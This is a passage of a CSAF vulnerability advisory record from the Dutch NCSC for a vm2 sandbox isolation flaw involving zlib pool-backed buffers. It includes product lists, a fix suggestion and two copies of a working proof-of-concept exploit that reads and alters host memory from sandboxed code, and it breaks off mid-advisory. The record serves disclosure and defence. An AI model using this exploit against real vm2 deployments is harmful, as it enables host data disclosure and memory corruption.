{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-100723", "tracking": { "current_release_date": "2026-10-21T08:46:58.961303Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-100723", "initial_release_date": "2026-09-27T02:25:32.146590Z", "revision_history": [ { "date": "2026-09-27T02:25:32.146590Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-09-27T02:25:33.857616Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-09-27T03:29:28.407799Z", "number": "3", "summary": "NCSC Score updated." }, { "date": "2026-09-27T12:15:45.538790Z", "number": "4", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (37).| References created (6).| CWES updated (1)." }, { "date": "2026-09-27T12:15:58.836241Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-09-27T15:15:11.988131Z", "number": "6", "summary": "EPSS created.| Unknown change." }, { "date": "2026-09-27T15:15:15.105091Z", "number": "7", "summary": "NCSC Score updated." }, { "date": "2026-09-28T11:32:11.497290Z", "number": "8", "summary": "Source connected.| CVE status created. (valid)| Products connected (1).| References created (6)." }, { "date": "2026-09-28T11:32:14.819920Z", "number": "9", "summary": "NCSC Score updated." }, { "date": "2026-09-28T12:42:03.509018Z", "number": "10", "summary": "CVSS created.| CWES created (1).| Products created (2).| References created (4).| Description created for source.| Unknown change." }, { "date": "2026-09-28T12:42:05.567534Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-09-29T12:41:21.403506Z", "number": "12", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (4).| Product Identifiers created (2).| Product Remediations created (4).| References created (6).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-09-29T12:41:37.686924Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-09-29T16:13:24.494404Z", "number": "14", "summary": "EPSS created.| Unknown change." }, { "date": "2026-10-03T00:01:48.850358Z", "number": "15", "summary": "Unknown change." }, { "date": "2026-10-03T00:01:56.930267Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-10-05T23:40:01.271740Z", "number": "17", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (7).| CWES updated (1)." }, { "date": "2026-10-05T23:40:04.018223Z", "number": "18", "summary": "NCSC Score updated." }, { "date": "2026-10-21T08:46:38.837105Z", "number": "19", "summary": "Products removed (4)." }, { "date": "2026-10-21T08:46:42.019983Z", "number": "20", "summary": "NCSC Score updated." } ], "status": "interim", "version": "20" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1", "product": { "name": "vers:rpm/1", "product_id": "CSAFPID-1508265", "product_identification_helper": { "cpe": "cpe:/a:redhat:rhdh:1" } } } ], "category": "product_name", "name": "Red Hat Developer Hub" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/2", "product": { "name": "vers:rpm/2", "product_id": "CSAFPID-5486263", "product_identification_helper": { "cpe": "cpe:/a:redhat:ansible_portal:2" } } } ], "category": "product_name", "name": "Self-service automation portal 2" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-8334394" } } ], "category": "product_name", "name": "bootc-automation-portal-rhel9" } ], "category": "product_family", "name": "Self-service automation portal 2" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1508266" } } ], "category": "product_name", "name": "rhdh-hub-rhel9" } ], "category": "product_family", "name": "Red Hat Developer Hub" } ], "category": "vendor", "name": "Red Hat" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<3.12.2", "product": { "name": "vers:unknown/<3.12.2", "product_id": "CSAFPID-9477908" } } ], "category": "product_name", "name": "vm2" } ], "category": "vendor", "name": "Open Source" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:semver/3.12.2", "product": { "name": "vers:semver/3.12.2", "product_id": "CSAFPID-9478885" } }, { "category": "product_version_range", "name": "vers:semver/<3.12.2", "product": { "name": "vers:semver/<3.12.2", "product_id": "CSAFPID-9478886" } }, { "category": "product_version_range", "name": "vers:unknown/3.11.6", "product": { "name": "vers:unknown/3.11.6", "product_id": "CSAFPID-9337227" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.10", "product": { "name": "vers:unknown/3.9.10", "product_id": "CSAFPID-3466137" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.11", "product": { "name": "vers:unknown/3.9.11", "product_id": "CSAFPID-3466138" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.12", "product": { "name": "vers:unknown/3.9.12", "product_id": "CSAFPID-3466139" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.13", "product": { "name": "vers:unknown/3.9.13", "product_id": "CSAFPID-3466140" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.14", "product": { "name": "vers:unknown/3.9.14", "product_id": "CSAFPID-3466141" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.15", "product": { "name": "vers:unknown/3.9.15", "product_id": "CSAFPID-3466142" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.16", "product": { "name": "vers:unknown/3.9.16", "product_id": "CSAFPID-3466143" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.17", "product": { "name": "vers:unknown/3.9.17", "product_id": "CSAFPID-4139275" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.18", "product": { "name": "vers:unknown/3.9.18", "product_id": "CSAFPID-4139276" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.19", "product": { "name": "vers:unknown/3.9.19", "product_id": "CSAFPID-4139277" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.3", "product": { "name": "vers:unknown/3.9.3", "product_id": "CSAFPID-3466144" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.4", "product": { "name": "vers:unknown/3.9.4", "product_id": "CSAFPID-3466145" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.5", "product": { "name": "vers:unknown/3.9.5", "product_id": "CSAFPID-3466146" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.6", "product": { "name": "vers:unknown/3.9.6", "product_id": "CSAFPID-3466147" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.7", "product": { "name": "vers:unknown/3.9.7", "product_id": "CSAFPID-3466148" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.8", "product": { "name": "vers:unknown/3.9.8", "product_id": "CSAFPID-3466149" } }, { "category": "product_version_range", "name": "vers:unknown/3.9.9", "product": { "name": "vers:unknown/3.9.9", "product_id": "CSAFPID-3466150" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<3.12.2", "product": { "name": "vers:unknown/>=0|<3.12.2", "product_id": "CSAFPID-9656527" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.0", "product": { "name": "vers:unknown/v3.10.0", "product_id": "CSAFPID-5467538" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.1", "product": { "name": "vers:unknown/v3.10.1", "product_id": "CSAFPID-5467539" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.2", "product": { "name": "vers:unknown/v3.10.2", "product_id": "CSAFPID-8609298" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.3", "product": { "name": "vers:unknown/v3.10.3", "product_id": "CSAFPID-8609297" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.4", "product": { "name": "vers:unknown/v3.10.4", "product_id": "CSAFPID-8609296" } }, { "category": "product_version_range", "name": "vers:unknown/v3.10.5", "product": { "name": "vers:unknown/v3.10.5", "product_id": "CSAFPID-8609295" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.0", "product": { "name": "vers:unknown/v3.11.0", "product_id": "CSAFPID-8707556" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.1", "product": { "name": "vers:unknown/v3.11.1", "product_id": "CSAFPID-8707555" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.2", "product": { "name": "vers:unknown/v3.11.2", "product_id": "CSAFPID-8707554" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.3", "product": { "name": "vers:unknown/v3.11.3", "product_id": "CSAFPID-8707553" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.4", "product": { "name": "vers:unknown/v3.11.4", "product_id": "CSAFPID-9007705" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.5", "product": { "name": "vers:unknown/v3.11.5", "product_id": "CSAFPID-9007704" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.7", "product": { "name": "vers:unknown/v3.11.7", "product_id": "CSAFPID-9344037" } }, { "category": "product_version_range", "name": "vers:unknown/v3.11.8", "product": { "name": "vers:unknown/v3.11.8", "product_id": "CSAFPID-9358171" } }, { "category": "product_version_range", "name": "vers:unknown/v3.12.0", "product": { "name": "vers:unknown/v3.12.0", "product_id": "CSAFPID-9358170" } }, { "category": "product_version_range", "name": "vers:unknown/v3.12.1", "product": { "name": "vers:unknown/v3.12.1", "product_id": "CSAFPID-9474627" } }, { "category": "product_version_range", "name": "vers:unknown/v3.9.0", "product": { "name": "vers:unknown/v3.9.0", "product_id": "CSAFPID-3466151" } }, { "category": "product_version_range", "name": "vers:unknown/v3.9.1", "product": { "name": "vers:unknown/v3.9.1", "product_id": "CSAFPID-3466152" } }, { "category": "product_version_range", "name": "vers:unknown/v3.9.2", "product": { "name": "vers:unknown/v3.9.2", "product_id": "CSAFPID-3466153" } } ], "category": "product_name", "name": "vm2" } ], "category": "vendor", "name": "patriksimek" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-100723", "cwe": { "id": "CWE-653", "name": "Improper Isolation or Compartmentalization" }, "notes": [ { "category": "description", "text": "vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-100723" }, { "category": "description", "text": "vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.", "title": "osvgit - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-100723.json?alt=media" }, { "category": "description", "text": "## Summary\n\nWhen an application explicitly exposes Node's `zlib` module through vm2's `NodeVM` builtin allowlist, an untrusted guest can obtain a pool-backed host `Buffer` from `zlib.deflateSync`, create a full-width view of its backing `ArrayBuffer`, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local `Buffer` control remains exact-size and non-mutating.\n\n## Technical Details\n\n`NodeVM` accepts `require: { builtin: ['zlib'] }`. The builtin resolver reaches `addDefaultBuiltin` in `lib/builtin.js`, where the host module is exposed through the generic readonly wrapper. `zlib.deflateSync` returns a Node `Buffer`; for a small result, that buffer can use Node's shared pool, whose `.buffer` is the complete pool rather than only the logical result slice. The guest can therefore call `Buffer.from(result.buffer, 0, result.buffer.byteLength)` and inspect or modify pooled bytes outside `result`.\n\nThe relevant isolation invariant is that every `Buffer` crossing into the sandbox owns its complete backing store: `byteOffset === 0` and `buffer.byteLength === length`. vm2's `depoolBuffer` implementation applies that rule to sandbox-facing `Buffer` factories, but the generic host-builtin return path does not apply it to the `Buffer` returned by `zlib`. The precondition is an embedder that deliberately allowlists `zlib`; applications that do not expose this builtin are not reached by this proof.\n\n## PoV\n\nThe guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host `Buffer`; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.\n\n```js\nconst zlib = require('zlib');\nconst result = zlib.deflateSync(Buffer.from('hello'));\nconst view = Buffer.from(result.buffer, 0, result.buffer.byteLength);\nconst markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);\nlet markerHits = 0;\nlet firstMarker = -1;\nfor (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {\n let equal = true;\n for (let index = 0; index < markerCodes.length; index += 1) {\n if (view[offset + index] !== markerCodes[index]) { equal = false; break; }\n }\n if (equal) { markerHits += 1; if (firstMarker < 0) firstMarker = offset; }\n}\nif (firstMarker >= 0) view[firstMarker] ^= 0xff;\nmodule.exports = {\n route: {\n requireReturned: !!zlib && typeof zlib.deflateSync === 'function',\n deflateSyncReturnedBuffer: Buffer.isBuffer(result),\n returnedBufferShape: !!result && !!result.buffer,\n },\n resultLength: result.length,\n resultBackingLength: result.buffer.byteLength,\n viewLength: view.length,\n fullBackingStoreView: view.byteOffset === 0\n && view.length === result.buffer.byteLength\n && view.buffer.byteLength === result.buffer.byteLength,\n markerHits,\n firstMarker,\n};\n```\n\n## PoC\n\nInstall the tested package version with Node.js, save the complete reproduction below as `zlib-buffer-isolation-test.js`, and run both modes. The attack and control commands print the JSON shown after the code.\n\n```sh\nnpm install vm2@3.11.8\nnode zlib-buffer-isolation-test.js attack hello\nnode zlib-buffer-isolation-test.js control\n```\n\n```js\n'use strict';\n\nconst { NodeVM } = require('vm2');\n\nconst marker = 'VM2_ZLIB_POOL_SECRET_7b31';\nconst markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0)));\nconst retained = [];\n\nfor (let index = 0; index < 192; index += 1) {\n const buffer = Buffer.allocUnsafe(64);\n buffer.fill(0x41);\n const markerOffset = index % (buffer.length - markerCodes.length + 1);\n markerCodes.forEach((byte, byteIndex) => {\n buffer[markerOffset + byteIndex] = byte;\n });\n retained.push({ buffer, markerOffset });\n}\n\nconst snapshot = () => retained.map(({ buffer }) => Array.from(buffer));\nconst changed = (before, after) => before.some((bytes, index) =>\n bytes.some((byte, byteIndex) => byte !== after[index][byteIndex]));\nconst mode = process.argv[2] || 'attack';\nconst input = process.argv[3] || 'hello';\nconst before = snapshot();\nconst vm = new NodeVM({ require: { builtin: ['zlib'] } });\n\nif (mode === 'control') {\n const control = vm.run(`\n const zlib = require('zlib');\n const result = zlib.deflateSync(Buffer.from('hello'));\n const local = Buffer.allocUnsafe(1);\n const view = Buffer.from(local.buffer, 0, local.buffer.byteLength);\n module.exports = {\n route: !!zlib && typeof zlib.deflateSync === 'function'\n && Buffer.isBuffer(result),\n exactSize: local.byteOffset === 0\n && local.buffer.byteLength === local.length\n && view.byteOffset === 0\n && view.length === local.length\n && view.buffer.byteLength === local.length,\n };\n `, 'zlib-buffer-case-a.js');\n const passed = control.route && control.exactSize && !changed(before, snapshot());\n console.log(JSON.stringify({ mode, result: passed ? 'pass' : 'violation' }));\n} else {\n const attack = vm.run(`\n const zlib = require('zlib');\n const result = zlib.deflateSync(${JSON.stringify(input)});\n const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);\n const markerCodes = ${JSON.stringify(Array.from(markerCodes))};\n let firstMarker = -1;\n for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {\n if (markerCodes.every((byte, byteIndex) => view[offset + byteIndex] === byte)) {\n firstMarker = offset;\n break;\n }\n }\n if (firstMarker >= 0) view[firstMarker] ^= 0xff;\n module.exports = {\n route: !!zlib && typeof zlib.deflateSync === 'function'\n && Buffer.isBuffer(result),\n fullView: view.byteOffset === 0\n && view.length === result.buffer.byteLength\n && view.buffer.byteLength === result.buffer.byteLength,\n poolIsWider: result.buffer.byteLength > result.length,\n markerFound: firstMarker >= 0,\n };\n `, 'zlib-buffer-case-b.js');\n const passed = attack.route && attack.fullView && attack.poolIsWider\n && attack.markerFound && changed(before, snapshot());\n console.log(JSON.stringify({ mode, result: passed ? 'violation' : 'pass' }));\n}\n```\n\n```json\n{\"mode\":\"attack\",\"result\":\"violation\"}\n{\"mode\":\"control\",\"result\":\"pass\"}\n```\n\nThe attack output requires the full backing-store view, a backing store larger than the logical compressed result, a readable marker, and an independently observed change to a retained host buffer. The control requires exact-size sandbox ownership and no retained-buffer change. The demonstration is limited to disclosure and host-memory modification; it does not demonstrate host code execution.\n\nThe reproduction is tested against vm2 revision `91034466bfb7f56b95fd48083ec6ca36d058f164`; package metadata at that revision identifies vm2 `3.11.8`.\n\n## Impact\n\nAn affected host application can expose sensitive bytes held in neighboring pooled buffers to untrusted guest code and can have those host buffers corrupted. This crosses the vm2 isolation boundary and compromises confidentiality and integrity for applications that allowlist `zlib`. The demonstrated host-memory disclosure maps to CWE-200, the demonstrated write to unrelated host memory maps to CWE-787, and together those confidentiality and integrity effects support a high severity rating. The issue does not reach applications that do not expose the builtin, and this report makes no claim about versions beyond the tested revision; the proof does not demonstrate host code execution.\n\n## Suggested Fix\n\nBefore any host-builtin return value is exposed to the guest, apply `depoolBuffer` or an equivalent owned-copy wrapper to every returned `Buffer`. The delivered buffer should satisfy `byteOffset === 0` and `buffer.byteLength === length`; intentionally supported `ArrayBuffer` sharing overloads should remain separately identified so they are not confused with host-created pooled buffers.\n\nAdd a regression test that allowlists `zlib`, calls `deflateSync`, asserts exact backing-store ownership, and verifies that a full-width view cannot read or change markers in unrelated host buffers. Retain the sandbox-local exact-size control so the regression test also detects a failure in its own oracle.\n\n## Affected Package/Versions\n\n- Package: `vm2` from npm.\n- Tested affected source revision: `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Package metadata at that revision: 3.11.8.\n- Version scope: the report is limited to the exact tested source revision above; no broader release line or range is established here.\n- Affected range: only the exact tested revision is asserted; no broader release range is established here.\n\n## Advisory History\n\nThe public [GHSA-fcqc-726x-5wfc advisory](https://github.com/patriksimek/vm2/security/advisories/GHSA-fcqc-726x-5wfc) documents shared small-buffer-pool exposure through sandbox-facing `Buffer` factories. The checked public fix is commit [`4f2508abeb252aa86eb6761c78b3b000248fb089`](https://github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089), titled `fix(GHSA-fcqc-726x-5wfc): isolate sandbox buffers from Node's shared pool`; its change applies the backing-store ownership rule to those factories, not to the `zlib` host-builtin return path demonstrated here.\n\nThe exact `GHSA-fcqc-726x-5wfc` commit search also returned [`5214b02ef13b82497fcb917b45320dfd014ffd09`](https://github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09), whose release message is only an automated advisory inventory and is not an independent report of this issue. The current repository search for [`zlib Buffer pool` issues](https://github.com/patriksimek/vm2/issues?q=zlib+Buffer+pool) returned no independent match, and the corresponding [`zlib Buffer pool` pull-request search](https://github.com/patriksimek/vm2/pulls?q=zlib+Buffer+pool) also returned no independent match.\n\nPrior submitted, ready-for-review, and completed-but-unsubmitted reports were checked; none covers this zlib host-builtin backing-store path. Its distinct fix surface is the zlib host-builtin return path and the missing backing-store ownership step, separate from sandbox-facing Buffer factories.\n\nThis finding is therefore distinct in fix surface: `zlib` is the producer, the generic host-builtin return path is the sink, and backing-store ownership is the missing correction. That surface is separate from Buffer-factory hardening, custom resolution, Promise/`Reflect.apply` handling, and process-global FIPS state.", "title": "osvnpm - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/npm%2FGHSA-489w-w794-jq94.json?alt=media" }, { "category": "description", "text": "vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.\nA flaw was found in vm2. When an application permits the sandbox to access built-in Node.js modules such as the zlib compression library, returned data buffers fail to maintain memory isolation from the host system. An attacker executing untrusted code within the sandbox can inspect and alter the underlying shared memory pool, resulting in sensitive information disclosure and memory corruption across the sandbox boundary.\nThis vulnerability is rated as an Important severity because untrusted guest code can break sandbox isolation, allowing the disclosure and modification of host memory space. Exploitation requires an explicit, non-default configuration where the application grants the guest environment access to Node's builtin zlib compression module. Red Hat products shipping this library do not expose the vulnerable feature in their active execution paths, which prevents exposure under default configurations.", "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-100723" }, { "category": "description", "text": "## Summary\n\nWhen an application explicitly exposes Node's `zlib` module through vm2's `NodeVM` builtin allowlist, an untrusted guest can obtain a pool-backed host `Buffer` from `zlib.deflateSync`, create a full-width view of its backing `ArrayBuffer`, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local `Buffer` control remains exact-size and non-mutating.\n\n## Technical Details\n\n`NodeVM` accepts `require: { builtin: ['zlib'] }`. The builtin resolver reaches `addDefaultBuiltin` in `lib/builtin.js`, where the host module is exposed through the generic readonly wrapper. `zlib.deflateSync` returns a Node `Buffer`; for a small result, that buffer can use Node's shared pool, whose `.buffer` is the complete pool rather than only the logical result slice. The guest can therefore call `Buffer.from(result.buffer, 0, result.buffer.byteLength)` and inspect or modify pooled bytes outside `result`.\n\nThe relevant isolation invariant is that every `Buffer` crossing into the sandbox owns its complete backing store: `byteOffset === 0` and `buffer.byteLength === length`. vm2's `depoolBuffer` implementation applies that rule to sandbox-facing `Buffer` factories, but the generic host-builtin return path does not apply it to the `Buffer` returned by `zlib`. The precondition is an embedder that deliberately allowlists `zlib`; applications that do not expose this builtin are not reached by this proof.\n\n## PoV\n\nThe guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host `Buffer`; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.\n\n```js\nconst zlib = require('zlib');\nconst result = zlib.deflateSync(Buffer.from('hello'));\nconst view = Buffer.from(result.buffer, 0, result.buffer.byteLength);\nconst markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);\nlet markerHits = 0;\nlet firstMarker = -1;\nfor (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {\n let equal = true;\n for (let index = 0; index < markerCodes.length; index += 1) {\n if (view[offset + index] !== markerCodes[index]) { equal = false; break; }\n }\n if (equal) { markerHits += 1; if (firstMarker < 0) firstMarker = offset; }\n}\nif (firstMarker >= 0) view[firstMarker] ^= 0xff;\nmodule.exports = {\n route: {\n requireReturned: !!zlib && typeof zlib.deflateSync === 'function',\n deflateSyncReturnedBuffer: Buffer.isBuffer(result),\n returnedBufferShape: !!result && !!result.buffer,\n },\n resultLength: result.length,\n resultBackingLength: result.buffer.byteLength,\n viewLength: view.length,\n fullBackingStoreView: view.byteOffset === 0\n && view.length === result.buffer.byteLength\n && view.buffer.byteLength === result.buffer.byteLength,\n markerHits,\n firstMarker,\n};\n```\n\n## PoC\n\nInstall the tested package version with Node.js, save the complete reproduction below as `zlib-buffer-isolation-test.js`, and run both modes. The attack and control commands print the JSON shown after the code.\n\n```sh\nnpm install vm2@3.11.8\nnode zlib-buffer-isolation-test.js attack hello\nnode zlib-buffer-isolation-test.js control\n```\n\n```js\n'use strict';\n\nconst { NodeVM } = require('vm2');\n\nconst marker = 'VM2_ZLIB_POOL_SECRET_7b31';\nconst markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0)));\nconst retained = [];\n\nfor (let index = 0; index < 192; index += 1) {\n const buffer = Buffer.allocUnsafe(64);\n buffer.fill(0x41);\n const markerOffset = index % (buffer.length - markerCodes.length + 1);\n markerCodes.forEach((byte, byteIndex) => {\n buffer[markerOffset + byteIndex] = byte;\n });\n retained.push({ buffer, markerOffset });\n}\n\nconst snapshot = () => retained.map(({ buffer }) => Array.from(buffer));\nconst changed = (before, after) => before.some((bytes, index) =>\n bytes.some((byte, byteIndex) => byte !== after[index][byteIndex]));\nconst mode = process.argv[2] || 'attack';\nconst input = process.argv[3] || 'hello';\nconst before = snapshot();\nconst vm = new NodeVM({ require: { builtin: ['zlib'] } });\n\nif (mode === 'control') {\n const control = vm.run(`\n const zlib = require('zlib');\n const result = zlib.deflateSync(Buffer.from('hello'));\n const local = Buffer.allocUnsafe(1);\n const view = Buffer.from(local.buffer, 0, local.buffer.byteLength);\n module.exports = {\n route: !!zlib && typeof zlib.deflateSync === 'function'\n && Buffer.isBuffer(result),\n exactSize: local.byteOffset === 0\n && local.buffer.byteLength === local.length\n && view.byteOffset === 0\n && view.length === local.length\n && view.buffer.byteLength === local.length,\n };\n `, 'zlib-buffer-case-a.js');\n const passed = control.route && control.exactSize && !changed(before, snapshot());\n console.log(JSON.stringify({ mode, result: passed ? 'pass' : 'violation' }));\n} else {\n const attack = vm.run(`\n const zlib = require('zlib');\n const result = zlib.deflateSync(${JSON.stringify(input)});\n const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);\n const markerCodes = ${JSON.stringify(Array.from(markerCodes))};\n let firstMarker = -1;\n for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {\n if (markerCodes.every((byte, byteIndex) => view[offset + byteIndex] === byte)) {\n firstMarker = offset;\n break;\n }\n }\n if (firstMarker >= 0) view[firstMarker] ^= 0xff;\n module.exports = {\n route: !!zlib && typeof zlib.deflateSync === 'function'\n && Buffer.isBuffer(result),\n fullView: view.byteOffset === 0\n && view.length === result.buffer.byteLength\n && view.buffer.byteLength === result.buffer.byteLength,\n poolIsWider: result.buffer.byteLength > result.length,\n markerFound: firstMarker >= 0,\n };\n `, 'zlib-buffer-case-b.js');\n const passed = attack.route && attack.fullView && attack.poolIsWider\n && attack.markerFound && changed(before, snapshot());\n console.log(JSON.stringify({ mode, result: passed ? 'violation' : 'pass' }));\n}\n```\n\n```json\n{\"mode\":\"attack\",\"result\":\"violation\"}\n{\"mode\":\"control\",\"result\":\"pass\"}\n```\n\nThe attack output requires the full backing-store view, a backing store larger than the logical compressed result, a readable marker, and an independently observed change to a retained host buffer. The control requires exact-size sandbox ownership and no retained-buffer change. The demonstration is limited to disclosure and host-memory modification; it does not demonstrate host code execution.\n\nThe reproduction is tested against vm2 revision `91034466bfb7f56b95fd48083ec6ca36d058f164`; package metadata at that revision identifies vm2 `3.11.8`.\n\n## Impact\n\nAn affected host application can expose sensitive bytes held in neighboring pooled buffers to untrusted guest code and can have those host buffers corrupted. This crosses the vm2 isolation boundary and compromises confidentiality and integrity for applications that allowlist `zlib`. The demonstrated host-memory disclosure maps to CWE-200, the demonstrated write to unrelated host memory maps to CWE-787, and together those confidentiality and integrity effects support a high severity rating. The issue does not reach applications that do not expose the builtin, and this report makes no claim about versions beyond the tested revision; the proof does not demonstrate host code execution.\n\n## Suggested Fix\n\nBefore any host-builtin return value is exposed to the guest, apply `depoolBuffer` or an equivalent owned-copy wrapper to every returned `Buffer`. The delivered buffer should satisfy `byteOffset === 0` and `buffer.byteLength === length`; intentionally supported `ArrayBuffer` sharing overloads should remain separately identified so they are not confused with host-created pooled buffers.\n\nAdd a regression test that allowlists `zlib`, calls `deflateSync`, asserts exact backing-store ownership, and verifies that a full-width view cannot read or change markers in unrelated host buffers. Retain the sandbox-local exact-size control so the regression test also detects a failure in its own oracle.\n\n## Affected Package/Versions\n\n- Package: `vm2` from npm.\n- Tested affected source revision: `91034466bfb7f56b95fd48083ec6ca36d058f164`.\n- Package metadata at that revision: 3.11.8.\n- Version scope: the report is limited to the exact tested source revision above; no broader release line or range is established here.\n- Affected range: only the exact tested revision is asserted; no broader release range is established here.\n\n## Advisory History\n\nThe public [GHSA-fcqc-726x-5wfc 